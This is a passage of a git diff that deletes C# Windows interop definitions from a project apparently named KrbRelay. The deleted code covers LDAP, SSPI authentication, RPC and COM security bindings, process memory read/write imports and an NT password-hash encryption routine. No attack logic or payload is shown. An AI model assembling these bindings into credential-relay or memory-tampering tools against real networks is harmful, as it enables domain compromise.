public int bv_len; - public IntPtr bv_val = IntPtr.Zero; - - public berval() - { } - } - - [DllImport("wldap32", EntryPoint = "ldap_get_optionW", CharSet = CharSet.Unicode, CallingConvention = CallingConvention.Cdecl)] - internal static extern int ldap_get_option(IntPtr ld, int option, out int value); - - [DllImport("wldap32", EntryPoint = "ldap_searchW", CharSet = CharSet.Unicode, CallingConvention = CallingConvention.Cdecl)] - internal static extern int ldap_search( - IntPtr ld, - string @base, - int scope, - string filter, - IntPtr attrs, - int attrsonly); - - [StructLayout(LayoutKind.Sequential)] - public sealed class LDAP_TIMEVAL - { - public int tv_sec; - public int tv_usec; - } - - [DllImport("wldap32", CharSet = CharSet.Unicode, CallingConvention = CallingConvention.Cdecl)] - internal static extern int ldap_result( - IntPtr ld, - int msgid, - int all, - LDAP_TIMEVAL timeout, - ref IntPtr pMessage); - - [DllImport("wldap32", CharSet = CharSet.Unicode, CallingConvention = CallingConvention.Cdecl)] - internal static extern IntPtr ldap_first_entry( - IntPtr ld, - IntPtr pMessage); - - [DllImport("wldap32", CharSet = CharSet.Unicode, CallingConvention = CallingConvention.Cdecl)] - internal static extern IntPtr ldap_next_entry( - IntPtr ld, - IntPtr pMessage); - - [DllImport("wldap32", EntryPoint = "ldap_get_dnW", CharSet = CharSet.Unicode, CallingConvention = CallingConvention.Cdecl)] - internal static extern IntPtr ldap_get_dn(IntPtr ld, IntPtr message); - - [DllImport("wldap32", EntryPoint = "ldap_first_attributeW", CharSet = CharSet.Unicode, CallingConvention = CallingConvention.Cdecl)] - internal static extern IntPtr ldap_first_attribute(IntPtr ld, IntPtr entry, ref IntPtr ppBer); - - [DllImport("wldap32", EntryPoint = "ldap_next_attributeW", CharSet = CharSet.Unicode, CallingConvention = CallingConvention.Cdecl)] - internal static extern IntPtr ldap_next_attribute(IntPtr ld, IntPtr entry, ref IntPtr ppBer); - - [DllImport("wldap32", EntryPoint = "ldap_next_attributeW", CharSet = CharSet.Unicode, CallingConvention = CallingConvention.Cdecl)] - internal static extern IntPtr ldap_next_attribute(IntPtr ld, IntPtr entry, IntPtr ppBer); - - [DllImport("wldap32", EntryPoint = "ldap_get_values_lenW", CharSet = CharSet.Unicode, CallingConvention = CallingConvention.Cdecl)] - internal static extern IntPtr ldap_get_values_len(IntPtr ld, IntPtr entry, IntPtr pBer); - - [DllImport("wldap32", EntryPoint = "ldap_modify_s", CharSet = CharSet.Unicode, CallingConvention = CallingConvention.Cdecl)] - internal static extern int ldap_modify_s(IntPtr ld, string dn, IntPtr mods); - - [DllImport("wldap32")] - internal static extern int ldap_unbind(IntPtr ld); - - [DllImport("wldap32", CharSet = CharSet.Unicode, CallingConvention = CallingConvention.Cdecl)] - internal static extern void ldap_value_free_len(IntPtr vals); - - [DllImport("Wtsapi32.dll")] - public static extern bool WTSQuerySessionInformation(IntPtr hServer, int sessionId, WTS_INFO_CLASS wtsInfoClass, out System.IntPtr ppBuffer, out uint pBytesReturned); - - [DllImport("advapi32.dll", EntryPoint = "SystemFunction018", SetLastError = true, CallingConvention = CallingConvention.StdCall)] - private static extern NTStatus RtlEncryptNtOwfPwdWithNtSesKey([In] byte[] ntOwfPassword, [In] ref byte[] sessionkey, [In, Out] byte[] encryptedNtOwfPassword); - - [DllImport("advapi32.dll", EntryPoint = "SystemFunction018", SetLastError = true, CallingConvention = CallingConvention.StdCall)] - private static extern NTStatus RtlEncryptNtOwfPwdWithNtSesKey([In] byte[] ntOwfPassword, [In] byte[] sessionkey, [In, Out] byte[] encryptedNtOwfPassword); - - internal static NTStatus RtlEncryptNtOwfPwdWithNtSesKey(byte[] ntOwfPassword, byte[] sessionkey, out byte[] encryptedNtOwfPassword) - { - encryptedNtOwfPassword = new byte[16]; - return RtlEncryptNtOwfPwdWithNtSesKey(ntOwfPassword, ref sessionkey, encryptedNtOwfPassword); - } - - [DllImport("secur32.dll", CharSet = CharSet.Auto, SetLastError = true)] - public static extern int AcquireCredentialsHandle( - string pszPrincipal, //SEC_CHAR* - string pszPackage, //SEC_CHAR* //"Kerberos","NTLM","Negotiative" - int fCredentialUse, - IntPtr PAuthenticationID,//_LUID AuthenticationID,//pvLogonID,//PLUID - IntPtr pAuthData,//PVOID - IntPtr pGetKeyFn, //SEC_GET_KEY_FN - IntPtr pvGetKeyArgument, //PVOID - ref SECURITY_HANDLE phCredential, //SecHandle //PCtxtHandle ref - IntPtr ptsExpiry //PTimeStamp //TimeStamp ref - ); - - [DllImport("Secur32.dll", CharSet = CharSet.Unicode)] - public static extern SecStatusCode AcceptSecurityContext( - [In] SecHandle phCredential, - [In] SecHandle phContext, - [In] SecurityBufferDescriptor pInput, - AcceptContextReqFlags fContextReq, - SecDataRep TargetDataRep, - [In, Out] SecHandle phNewContext, - [In, Out] SecurityBufferDescriptor pOutput, - out AcceptContextRetFlags pfContextAttr, - [Out] SECURITY_INTEGER ptsExpiry - ); - - [DllImport("secur32.DLL", CharSet = CharSet.Unicode)] - public static extern IntPtr InitSecurityInterface(); - - [DllImport("ntdll.dll")] - public static extern UInt32 NtQueryInformationProcess( - IntPtr processHandle, - UInt32 processInformationClass, - ref PROCESS_BASIC_INFORMATION processInformation, - int processInformationLength, - ref UInt32 returnLength); - - [DllImport("kernel32.dll", SetLastError = true)] - public static extern IntPtr OpenProcess( - uint processAccess, - bool bInheritHandle, - int processId); - - [DllImport("kernel32.dll", SetLastError = true)] - public static extern IntPtr GetCurrentProcess(); - - [DllImport("kernel32.dll", SetLastError = true)] - public static extern bool CloseHandle(IntPtr hObject); - - [DllImport("kernel32.dll", SetLastError = true)] - [PreserveSig] - public static extern uint GetModuleFileName( - [In] IntPtr hModule, - [Out] StringBuilder lpFilename, - [In][MarshalAs(UnmanagedType.U4)] - int nSize); - - [DllImport("kernel32.dll", SetLastError = true)] - public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten); - - [DllImport("kernel32.dll", SetLastError = true)] - public static extern bool ReadProcessMemory( - IntPtr hProcess, - IntPtr lpBaseAddress, - byte[] lpBuffer, - Int32 nSize, - out IntPtr lpNumberOfBytesRead); - - [DllImport("rpcrt4.dll")] - public static extern int RpcServerUseProtseqEp( - string Protseq, - uint MaxCalls, - string Endpoint, - IntPtr SecurityDescriptor); - - [DllImport("Rpcrt4.dll", EntryPoint = "RpcServerRegisterAuthInfo", CallingConvention = CallingConvention.StdCall, CharSet = CharSet.Unicode, SetLastError = true)] - public static extern int RpcServerRegisterAuthInfo(String ServerPrincName, uint AuthnSvc, IntPtr GetKeyFn, IntPtr Arg); - - [DllImport("ole32.dll")] - public static extern int CoInitializeSecurity( - IntPtr pSecDesc, - int cAuthSvc, - SOLE_AUTHENTICATION_SERVICE[] asAuthSvc, - IntPtr pReserved1, - AuthnLevel dwAuthnLevel, - ImpLevel dwImpLevel, - IntPtr pAuthList, - EOLE_AUTHENTICATION_CAPABILITIES dwCapabilities, - IntPtr pReserved3 - ); - - //deleg - [UnmanagedFunctionPointer(CallingConvention.Cdecl)] - public delegate bool VERIFYSERVERCERT( - IntPtr connection, - IntPtr pServerCert); - - [UnmanagedFunctionPointer(CallingConvention.StdCall)] - public delegate int RPC_IF_CALLBACK_FN(IntPtr InterfaceUuid, IntPtr Context); - - public delegate SecStatusCode AcceptSecurityContextFunc( - [In] SecHandle phCredential, - [In] SecHandle phContext, - [In] SecurityBufferDescriptor pInput, - AcceptContextReqFlags fContextReq, - SecDataRep TargetDataRep, - [In, Out] SecHandle phNewContext, - [In, Out] IntPtr pOutput, - out AcceptContextRetFlags pfContextAttr, - [Out] SECURITY_INTEGER ptsExpiry); - - //structs - public enum EOLE_AUTHENTICATION_CAPABILITIES - { - EOAC_NONE = 0, - EOAC_MUTUAL_AUTH = 0x1, - EOAC_STATIC_CLOAKING = 0x20, - EOAC_DYNAMIC_CLOAKING = 0x40, - EOAC_ANY_AUTHORITY = 0x80, - EOAC_MAKE_FULLSIC = 0x100, - EOAC_DEFAULT = 0x800, - EOAC_SECURE_REFS = 0x2, - EOAC_ACCESS_CONTROL = 0x4, - EOAC_APPID = 0x8, - EOAC_DYNAMIC = 0x10, - EOAC_REQUIRE_FULLSIC = 0x200, - EOAC_AUTO_IMPERSONATE = 0x400, - EOAC_NO_CUSTOM_MARSHAL = 0x2000, - EOAC_DISABLE_AAA = 0x1000 - } - - public enum AuthnLevel - { - RPC_C_AUTHN_LEVEL_DEFAULT = 0, - RPC_C_AUTHN_LEVEL_NONE = 1, - RPC_C_AUTHN_LEVEL_CONNECT = 2, - RPC_C_AUTHN_LEVEL_CALL = 3, - RPC_C_AUTHN_LEVEL_PKT = 4, - RPC_C_AUTHN_LEVEL_PKT_INTEGRITY = 5, - RPC_C_AUTHN_LEVEL_PKT_PRIVACY = 6 - } - - public enum ImpLevel - { - RPC_C_IMP_LEVEL_DEFAULT = 0, - RPC_C_IMP_LEVEL_ANONYMOUS = 1, - RPC_C_IMP_LEVEL_IDENTIFY = 2, - RPC_C_IMP_LEVEL_IMPERSONATE = 3, - RPC_C_IMP_LEVEL_DELEGATE = 4, - } - - public struct SOLE_AUTHENTICATION_SERVICE - { - public int dwAuthnSvc; - public int dwAuthzSvc; - [MarshalAs(UnmanagedType.LPWStr)] public string pPrincipalName; - public int hr; - } - - public struct PROCESS_BASIC_INFORMATION - { - public IntPtr ExitStatus; - public IntPtr PebBaseAddress; - public IntPtr AffinityMask; - public IntPtr BasePriority; - public UIntPtr UniqueProcessId; - public int InheritedFromUniqueProcessId; - - public int Size - { - get { return (int)Marshal.SizeOf(typeof(PROCESS_BASIC_INFORMATION)); } - } - } - - [StructLayout(LayoutKind.Sequential)] - public struct UNICODE_STRING - { - public UInt16 Length; - public UInt16 MaximumLength; - public IntPtr Buffer; - } - - [Flags] - public enum AcceptContextRetFlags - { - None = 0, - Delegate = 0x00000001, - MutualAuth = 0x00000002, - ReplayDetect = 0x00000004, - SequenceDetect = 0x00000008, - Confidentiality = 0x00000010, - UseSessionKey = 0x00000020, - SessionTicket = 0x00000040, - AllocatedMemory = 0x00000100, - UsedDceStyle = 0x00000200, - Datagram = 0x00000400, - Connection = 0x00000800, - CallLevel = 0x00002000, - ThirdLegFailed = 0x00004000, - ExtendedError = 0x00008000, - Stream = 0x00010000, - Integrity = 0x00020000, - Licensing = 0x00040000, - Identify = 0x00080000, - NullSession = 0x00100000, - AllowNonUserLogons = 0x00200000, - AllowContextReplay = 0x00400000, - FragmentOnly = 0x00800000, - NoToken = 0x01000000, - NoAdditionalToken = 0x02000000, - } - - [Flags] - public enum AcceptContextReqFlags - { - None = 0, - Delegate = 0x00000001, - MutualAuth = 0x00000002, - ReplayDetect = 0x00000004, - SequenceDetect = 0x00000008, - Confidentiality = 0x00000010, - UseSessionKey = 0x00000020, - SessionTicket = 0x00000040, - AllocateMemory = 0x00000100, - UseDceStyle = 0x00000200, - Datagram = 0x00000400, - Connection = 0x00000800, - CallLevel = 0x00001000, - FragmentSupplied = 0x00002000, - ExtendedError = 0x00008000, - Stream = 0x00010000, - Integrity = 0x00020000, - Licensing = 0x00040000, - Identify = 0x00080000, - AllowNullSessions = 0x00100000, - AllowNonUserLogons = 0x00200000, - AllowContextReplay = 0x00400000, - FragmentToFit = 0x00800000, - NoToken = 0x01000000, - ProxyBindings = 0x04000000, - AllowMissingBindings = 0x10000000 - } - - public enum LdapModOperation - { - LDAP_MOD_ADD = 0x00, - LDAP_MOD_DELETE = 0x01, - LDAP_MOD_REPLACE = 0x02, - LDAP_MOD_BVALUES = 0x80 - } - - public enum LdapSearchScope - { - LDAP_SCOPE_BASE = 0x0000, - LDAP_SCOPE_BASEOBJECT = LDAP_SCOPE_BASE, - LDAP_SCOPE_ONELEVEL = 0x0001, - LDAP_SCOPE_ONE = LDAP_SCOPE_ONELEVEL, - LDAP_SCOPE_SUBTREE = 0x0002, - LDAP_SCOPE_SUB = LDAP_SCOPE_SUBTREE, - LDAP_SCOPE_SUBORDINATE = 0x0003, /* OpenLDAP extension */ - LDAP_SCOPE_CHILDREN = LDAP_SCOPE_SUBORDINATE, - LDAP_SCOPE_DEFAULT = -1 /* OpenLDAP extension */ - } - - public enum LdapResultType - { - LDAP_ERROR = -1, - LDAP_TIMEOUT = 0, - LDAP_RES_BIND = 0x61, - LDAP_RES_SEARCH_ENTRY = 0x64, - LDAP_RES_SEARCH_REFERENCE = 0x73, - LDAP_RES_SEARCH_RESULT = 0x65, - LDAP_RES_MODIFY = 0x67, - LDAP_RES_ADD = 0x69, - LDAP_RES_DELETE = 0x6b, - LDAP_RES_MODDN = 0x6d, - LDAP_RES_COMPARE = 0x6f, - LDAP_RES_EXTENDED = 0x78, - LDAP_RES_INTERMEDIATE = 0x79 - } - - public enum LdapStatus - { - LDAP_SUCCESS = 0, - LDAP_OPERATIONS_ERROR = 1, - - //LDAP_PROTOCOL_ERROR = 2, - LDAP_TIMELIMIT_EXCEEDED = 3, - - LDAP_SIZELIMIT_EXCEEDED = 4, - - //LDAP_COMPARE_FALSE = 5, - //LDAP_COMPARE_TRUE = 6, - LDAP_AUTH_METHOD_NOT_SUPPORTED = 7, - - //LDAP_STRONG_AUTH_REQUIRED = 8, - //LDAP_REFERRAL = 9, - //LDAP_ADMIN_LIMIT_EXCEEDED = 11, - //LDAP_UNAVAILABLE_CRITICAL_EXTENSION = 12, - //LDAP_CONFIDENTIALITY_REQUIRED = 13, - LDAP_SASL_BIND_IN_PROGRESS = 14, - - LDAP_NO_SUCH_ATTRIBUTE = 16, - LDAP_UNDEFINED_TYPE = 17, - - //LDAP_INAPPROPRIATE_MATCHING = 18, - LDAP_CONSTRAINT_VIOLATION = 19, - - LDAP_TYPE_OR_VALUE_EXISTS = 20, - LDAP_INVALID_SYNTAX = 21, - - LDAP_NO_SUCH_OBJECT = 32, - - //LDAP_ALIAS_PROBLEM = 33, - LDAP_INVALID_DN_SYNTAX = 34, - - //LDAP_IS_LEAF = 35, - //LDAP_ALIAS_DEREF_PROBLEM = 36, - - //LDAP_INAPPROPRIATE_AUTH = 48, - LDAP_INVALID_CREDENTIALS = 49, - - LDAP_INSUFFICIENT_ACCESS = 50, - LDAP_BUSY = 51, - LDAP_UNAVAILABLE = 52, - LDAP_UNWILLING_TO_PERFORM = 53, - //LDAP_LOOP_DETECT = 54, - - //LDAP_NAMING_VIOLATION = 64, - LDAP_OBJECT_CLASS_VIOLATION = 65, - - LDAP_NOT_ALLOWED_ON_NONLEAF = 66, - - //LDAP_NOT_ALLOWED_ON_RDN = 67, - LDAP_ALREADY_EXISTS = 68, - - //LDAP_NO_OBJECT_CLASS_MODS = 69, - //LDAP_RESULTS_TOO_LARGE = 70, - //LDAP_AFFECTS_MULTIPLE_DSAS = 71, - //LDAP_OTHER = 80, - - LDAP_SERVER_DOWN = -1, - //LDAP_LOCAL_ERROR = -2, - //LDAP_ENCODING_ERROR = -3, - //LDAP_DECODING_ERROR = -4, - //LDAP_TIMEOUT = -5, - //LDAP_AUTH_UNKNOWN = -6, - //LDAP_FILTER_ERROR = -7, - //LDAP_USER_CANCELLED = -8, - //LDAP_PARAM_ERROR = -9, - //LDAP_NO_MEMORY = -10, - //LDAP_CONNECT_ERROR = -11, - //LDAP_NOT_SUPPORTED = -12, - //LDAP_CONTROL_NOT_FOUND = -13, - //LDAP_NO_RESULTS_RETURNED = -14, - //LDAP_MORE_RESULTS_TO_RETURN = -15, - - //LDAP_CLIENT_LOOP = -16, - //LDAP_REFERRAL_LIMIT_EXCEEDED = -17, - } - - //https://github.com/go-win/go-windows/blob/3c4cf4813fb68a44704529efb5f5c78ecbb1b380/windows/win32/ldap/enums.go#L11 - - [StructLayout(LayoutKind.Sequential)] - public sealed class LDAPMod - { - /// - /// Values that you want to add, delete, or replace. - /// - [StructLayout(LayoutKind.Explicit)] - public struct mod_vals - { - /// - /// Pointer to a NULL terminated array of string values for the attribute. - /// - [FieldOffset(0)] public IntPtr modv_strvals; - - /// - /// Pointer to a NULL-terminated array of berval structures for the attribute. - /// - [FieldOffset(0)] public IntPtr modv_bvals; - } - - /// - /// The operation to be performed on the attribute and the type of data specified as the attribute values. - /// - public int mod_op; - - /// - /// Pointer to the attribute type that you want to add, delete, or replace. - /// - public IntPtr mod_type; - - /// - /// A NULL-terminated array of string values for the attribute. - /// - public mod_vals mod_vals_u; - - public IntPtr mod_next; - } - - //#pragma warning disable 1591 - [StructLayout(LayoutKind.Sequential)] - public class SecHandle - { - public IntPtr dwLower; - public IntPtr dwUpper; - } - - [Flags] - public enum SecDataRep - { - /// - /// Native representation. - /// - Native = 0x00000010, - - /// - /// Network representation. - /// - Network = 0x00000000 - } - - [Flags] - public enum SecStatusCode : uint - { - SUCCESS = 0, - SEC_I_CONTINUE_NEEDED = 0x00090312, - SEC_I_COMPLETE_NEEDED = 0x00090313, - SEC_I_COMPLETE_AND_CONTINUE = 0x00090314, - SEC_I_ASYNC_CALL_PENDING = 0x00090368, - SEC_I_CONTEXT_EXPIRED = 0x00090317, - SEC_I_CONTINUE_NEEDED_MESSAGE_OK = 0x00090366, - SEC_I_GENERIC_EXTENSION_RECEIVED = 0x00090316, - SEC_I_INCOMPLETE_CREDENTIALS = 0x00090320, - SEC_I_LOCAL_LOGON = 0x00090315, - SEC_I_MESSAGE_FRAGMENT = 0x00090364, - SEC_I_NO_LSA_CONTEXT = 0x00090323, - SEC_I_NO_RENEGOTIATION = 0x00090360, - SEC_I_RENEGOTIATE = 0x00090321, - SEC_I_SIGNATURE_NEEDED = 0x0009035C, - SEC_E_ALGORITHM_MISMATCH = 0x80090331, - SEC_E_APPLICATION_PROTOCOL_MISMATCH = 0x80090367, - SEC_E_BAD_BINDINGS = 0x80090346, - SEC_E_BAD_PKGID = 0x80090316, - SEC_E_BUFFER_TOO_SMALL = 0x80090321, - SEC_E_CANNOT_INSTALL = 0x80090307, - SEC_E_CANNOT_PACK = 0x80090309, - SEC_E_CERT_EXPIRED = 0x80090328, - SEC_E_CERT_UNKNOWN = 0x80090327, - SEC_E_CERT_WRONG_USAGE = 0x80090349, - SEC_E_CONTEXT_EXPIRED = 0x80090317, - SEC_E_CROSSREALM_DELEGATION_FAILURE = 0x80090357, - SEC_E_CRYPTO_SYSTEM_INVALID = 0x80090337, - SEC_E_DECRYPT_FAILURE = 0x80090330, - SEC_E_DELEGATION_POLICY = 0x8009035E, - SEC_E_DELEGATION_REQUIRED = 0x80090345, - SEC_E_DOWNGRADE_DETECTED = 0x80090350, - SEC_E_ENCRYPT_FAILURE = 0x80090329, - SEC_E_EXT_BUFFER_TOO_SMALL = 0x8009036A, - SEC_E_ILLEGAL_MESSAGE = 0x80090326, - SEC_E_INCOMPLETE_CREDENTIALS = 0x80090320, - SEC_E_INCOMPLETE_MESSAGE = 0x80090318, - SEC_E_INSUFFICIENT_BUFFERS = 0x8009036B, - SEC_E_INSUFFICIENT_MEMORY = 0x80090300, - SEC_E_INTERNAL_ERROR = 0x80090304, - SEC_E_INVALID_HANDLE = 0x80090301, - SEC_E_INVALID_PARAMETER = 0x8009035D, - SEC_E_INVALID_TOKEN = 0x80090308, - SEC_E_INVALID_UPN_NAME = 0x80090369, - SEC_E_ISSUING_CA_UNTRUSTED = 0x80090352, - SEC_E_ISSUING_CA_UNTRUSTED_KDC = 0x80090359, - SEC_E_KDC_CERT_EXPIRED = 0x8009035A, - SEC_E_KDC_CERT_REVOKED = 0x8009035B, - SEC_E_KDC_INVALID_REQUEST = 0x80090340, - SEC_E_KDC_UNABLE_TO_REFER = 0x80090341, - SEC_E_KDC_UNKNOWN_ETYPE = 0x80090342, - SEC_E_LOGON_DENIED = 0x8009030C, - SEC_E_MAX_REFERRALS_EXCEEDED = 0x80090338, - SEC_E_MESSAGE_ALTERED = 0x8009030F, - SEC_E_MULTIPLE_ACCOUNTS = 0x80090347, - SEC_E_MUST_BE_KDC = 0x80090339, - SEC_E_MUTUAL_AUTH_FAILED = 0x80090363, - SEC_E_NOT_OWNER = 0x80090306, - SEC_E_NO_AUTHENTICATING_AUTHORITY = 0x80090311, - SEC_E_NO_CONTEXT = 0x80090361, - SEC_E_NO_CREDENTIALS = 0x8009030E, - SEC_E_NO_IMPERSONATION = 0x8009030B, - SEC_E_NO_IP_ADDRESSES = 0x80090335, - SEC_E_NO_KERB_KEY = 0x80090348, - SEC_E_NO_PA_DATA = 0x8009033C, - SEC_E_NO_S4U_PROT_SUPPORT = 0x80090356, - SEC_E_NO_TGT_REPLY = 0x80090334, - SEC_E_ONLY_HTTPS_ALLOWED = 0x80090365, - SEC_E_OUT_OF_SEQUENCE = 0x80090310, - SEC_E_PKINIT_CLIENT_FAILURE = 0x80090354, - SEC_E_PKINIT_NAME_MISMATCH = 0x8009033D, - SEC_E_PKU2U_CERT_FAILURE = 0x80090362, - SEC_E_POLICY_NLTM_ONLY = 0x8009035F, - SEC_E_QOP_NOT_SUPPORTED = 0x8009030A, - SEC_E_REVOCATION_OFFLINE_C = 0x80090353, - SEC_E_REVOCATION_OFFLINE_KDC = 0x80090358, - SEC_E_SECPKG_NOT_FOUND = 0x80090305, - SEC_E_SECURITY_QOS_FAILED = 0x80090332, - SEC_E_SHUTDOWN_IN_PROGRESS = 0x8009033F, - SEC_E_SMARTCARD_CERT_EXPIRED = 0x80090355, - SEC_E_SMARTCARD_CERT_REVOKED = 0x80090351, - SEC_E_SMARTCARD_LOGON_REQUIRED = 0x8009033E, - SEC_E_STRONG_CRYPTO_NOT_SUPPORTED = 0x8009033A, - SEC_E_TARGET_UNKNOWN = 0x80090303, - SEC_E_TIME_SKEW = 0x80090324, - SEC_E_TOO_MANY_PRINCIPALS = 0x8009033B, - SEC_E_UNFINISHED_CONTEXT_DELETED = 0x80090333, - SEC_E_UNKNOWN_CREDENTIALS = 0x8009030D, - SEC_E_UNSUPPORTED_FUNCTION = 0x80090302, - SEC_E_UNSUPPORTED_PREAUTH = 0x80090343, - SEC_E_UNTRUSTED_ROOT = 0x80090325, - SEC_E_WRONG_CREDENTIAL_HANDLE = 0x80090336, - SEC_E_WRONG_PRINCIPAL = 0x80090322, - } - - [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)] - public struct SecurityFunctionTable - { - /// Version number of the table. - public uint dwVersion; - - /// Pointer to the EnumerateSecurityPackages function. - public IntPtr EnumerateSecurityPackages; - - /// Pointer to the QueryCredentialsAttributes function. - public IntPtr QueryCredentialsAttributes; - - /// Pointer to the AcquireCredentialsHandle function. - public IntPtr AcquireCredentialsHandle; - - /// Pointer to the FreeCredentialsHandle function. - public IntPtr FreeCredentialHandl; - - /// Reserved for future use. - public IntPtr Reserved1; - - /// Pointer to the InitializeSecurityContext (General) function. - public IntPtr InitializeSecurityContext; - - /// Pointer to the AcceptSecurityContext (General) function. - public IntPtr AcceptSecurityContex; - - /// Pointer to the CompleteAuthToken function. - public IntPtr CompleteAuthToke; - - /// Pointer to the DeleteSecurityContext function. - public IntPtr DeleteSecurityContex; - - /// Pointer to the ApplyControlToken function. - public IntPtr ApplyControlToke; - - /// Pointer to the QueryContextAttributes (General) function. - public IntPtr QueryContextAttributes; - - /// Pointer to the ImpersonateSecurityContext function. - public IntPtr ImpersonateSecurityContex; - - /// Pointer to the RevertSecurityContext function. - public IntPtr RevertSecurityContex; - - /// Pointer to the MakeSignature function. - public IntPtr MakeSignatur; - - /// Pointer to the VerifySignature function. - public IntPtr VerifySignatur; - - /// Pointer to the FreeContextBuffer function. - public IntPtr FreeContextBuffe; - - /// Pointer to the QuerySecurityPackageInfo function. - public IntPtr QuerySecurityPackageInfo; - - /// Reserved for future use. - public IntPtr Reserved2; - - /// Reserved for future use. - public IntPtr Reserved3; - - /// Pointer to the ExportSecurityContext function. - public IntPtr ExportSecurityContex; - - /// Pointer to the ImportSecurityContext function. - public IntPtr ImportSecurityContext; - - /// Pointer to the AddCredential function. - public IntPtr AddCredentials; - - /// Reserved for future use. - public IntPtr Reserved4; - - /// Pointer to the QuerySecurityContextToken function. - public IntPtr QuerySecurityContextToke; - - /// Pointer to the EncryptMessage (General) function. - public IntPtr EncryptMessag; - - /// Pointer to the DecryptMessage (General) function. - public IntPtr DecryptMessag; - - /// Pointer to the SetContextAttributes function. - public IntPtr SetContextAttributes; - - /// Pointer to the SetCredentialsAttributes function. - public IntPtr SetCredentialsAttributes; - - /// Pointer to the ChangeAccountPassword function. - public IntPtr ChangeAccountPassword; - - /// Pointer to the AddCredential function. - public IntPtr Reserved5; - - /// Pointer to the QueryContextAttributesEx function. - public IntPtr QueryContextAttributesEx; - - /// Pointer to the QueryCredentialsAttributesEx function. - public IntPtr QueryCredentialsAttributesEx; - } - - [StructLayout(LayoutKind.Sequential)] - public struct SECURITY_HANDLE - { - public IntPtr LowPart; - public IntPtr HighPart; - - public SECURITY_HANDLE(int dummy) - { - LowPart = HighPart = IntPtr.Zero; - } - }; - - [Flags] - public enum SecBufferType - { - SECBUFFER_VERSION = 0, - SECBUFFER_EMPTY = 0, - SECBUFFER_DATA = 1, - SECBUFFER_TOKEN = 2 - } - - [StructLayout(LayoutKind.Sequential)] - public struct SecBuffer : IDisposable - { - public int cbBuffer; - public int bufferType; - public IntPtr pvBuffer; - - public SecBuffer(int bufferSize) - { - cbBuffer = bufferSize; - bufferType = (int)SecBufferType.SECBUFFER_TOKEN; - if (bufferSize > 0) - { - pvBuffer = Marshal.AllocHGlobal(bufferSize); - } - else - { - pvBuffer = IntPtr.Zero; - } - } - - public SecBuffer(byte[] secBufferBytes) - { - cbBuffer = secBufferBytes.Length; - bufferType = (int)SecBufferType.SECBUFFER_TOKEN; - pvBuffer = Marshal.AllocHGlobal(cbBuffer); - Marshal.Copy(secBufferBytes, 0, pvBuffer, cbBuffer); - } - - public SecBuffer(byte[] secBufferBytes, SecBufferType bufferType) - { - cbBuffer = secBufferBytes.Length; - this.bufferType = (int)bufferType; - pvBuffer = Marshal.AllocHGlobal(cbBuffer); - Marshal.Copy(secBufferBytes, 0, pvBuffer, cbBuffer); - } - - public void Dispose() - { - if (pvBuffer != IntPtr.Zero) - { - Marshal.FreeHGlobal(pvBuffer); - pvBuffer = IntPtr.Zero; - } - } - - public byte[] GetBytes() - { - byte[] buffer = null; - if (cbBuffer > 0) - { - buffer = new byte[cbBuffer]; - Marshal.Copy(pvBuffer, buffer, 0, cbBuffer); - } - return buffer; - } - - public byte[] GetBytes(int bytes) - { - byte[] buffer = null; - if (cbBuffer > 0) - { - buffer = new byte[cbBuffer + bytes]; - Marshal.Copy(pvBuffer, buffer, 0, cbBuffer + bytes); - } - return buffer; - } - } - - [StructLayout(LayoutKind.Sequential)] - public struct SecBufferDesc : IDisposable - { - public int ulVersion; - public int cBuffers; - public IntPtr pBuffers; //Point to SecBuffer - - public SecBufferDesc(int bufferSize) - { - ulVersion = (int)SecBufferType.SECBUFFER_VERSION; - cBuffers = 1; - SecBuffer secBuffer = new SecBuffer(bufferSize); - pBuffers = Marshal.AllocHGlobal(Marshal.SizeOf(secBuffer)); - Marshal.StructureToPtr(secBuffer, pBuffers, false); - } - - public SecBufferDesc(byte[] secBufferBytes) - { - ulVersion = (int)SecBufferType.SECBUFFER_VERSION; - cBuffers = 1; - SecBuffer secBuffer = new SecBuffer(secBufferBytes); - pBuffers = Marshal.AllocHGlobal(Marshal.SizeOf(secBuffer)); - Marshal.StructureToPtr(secBuffer, pBuffers, false); - } - - public void Dispose() - { - if (pBuffers != IntPtr.Zero) - { - SecBuffer secBuffer = (SecBuffer)Marshal.PtrToStructure(pBuffers, typeof(SecBuffer)); - secBuffer.Dispose(); - Marshal.FreeHGlobal(pBuffers); - pBuffers = IntPtr.Zero; - } - } - - public SecBuffer GetSecBuffer() - { - if (pBuffers == IntPtr.Zero) - throw new ObjectDisposedException("SecBufferDesc"); - SecBuffer secBuffer = (SecBuffer)Marshal.PtrToStructure(pBuffers, typeof(SecBuffer)); - return secBuffer; - } - } - - [StructLayout(LayoutKind.Sequential)] - public struct SECURITY_INTEGER - { - public uint LowPart; - public int HighPart; - - public SECURITY_INTEGER(int dummy) - { - LowPart = 0; - HighPart = 0; - } - }; - } -} \ No newline at end of file diff --git a/KrbRelay/Misc/SecurityBuffer.cs b/KrbRelay/Misc/SecurityBuffer.cs deleted file mode 100644 index 6db1793..0000000 --- a/KrbRelay/Misc/SecurityBuffer.cs +++ /dev/null @@ -1,312 +0,0 @@ -using System; -using System.Runtime.ConstrainedExecution; -using System.Runtime.InteropServices; - -namespace KrbRelay -{ - [StructLayout(LayoutKind.Sequential)] - internal struct SspiHandle - { - // private fields - private IntPtr _hi; - - private IntPtr _low; - - // public properties - /// - /// Gets a value indicating whether this instance is zero. - /// - /// - /// true if this instance is zero; otherwise, false. - /// - public bool IsZero - { - get - { - if (_hi != IntPtr.Zero) - { - return false; - } - else - { - return _low == IntPtr.Zero; - } - } - } - - // public methods - /// - /// Sets to invalid. - /// - [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)] - public void SetToInvalid() - { - _hi = IntPtr.Zero; - _low = IntPtr.Zero; - } - } - - /// - /// A SecBufferDesc structure. - /// - /// - /// http://msdn.microsoft.com/en-us/library/windows/desktop/aa379815(v=vs.85).aspx - /// - [StructLayout(LayoutKind.Sequential)] - internal struct SecurityBufferDescriptor : IDisposable - { - // public fields - public SecurityBufferType BufferType; - - public int NumBuffers; - public IntPtr BufferPtr; //Point to SecBuffer - - // constructors - /// - /// Initializes a new instance of the struct. - /// - /// Size of the buffer. - public SecurityBufferDescriptor(int bufferSize) - { - BufferType = SecurityBufferType.Version; - NumBuffers = 1; - var buffer = new SecurityBuffer(bufferSize); - BufferPtr = Marshal.AllocHGlobal(Marshal.SizeOf(buffer)); - Marshal.StructureToPtr(buffer, BufferPtr, false); - } - - /// - 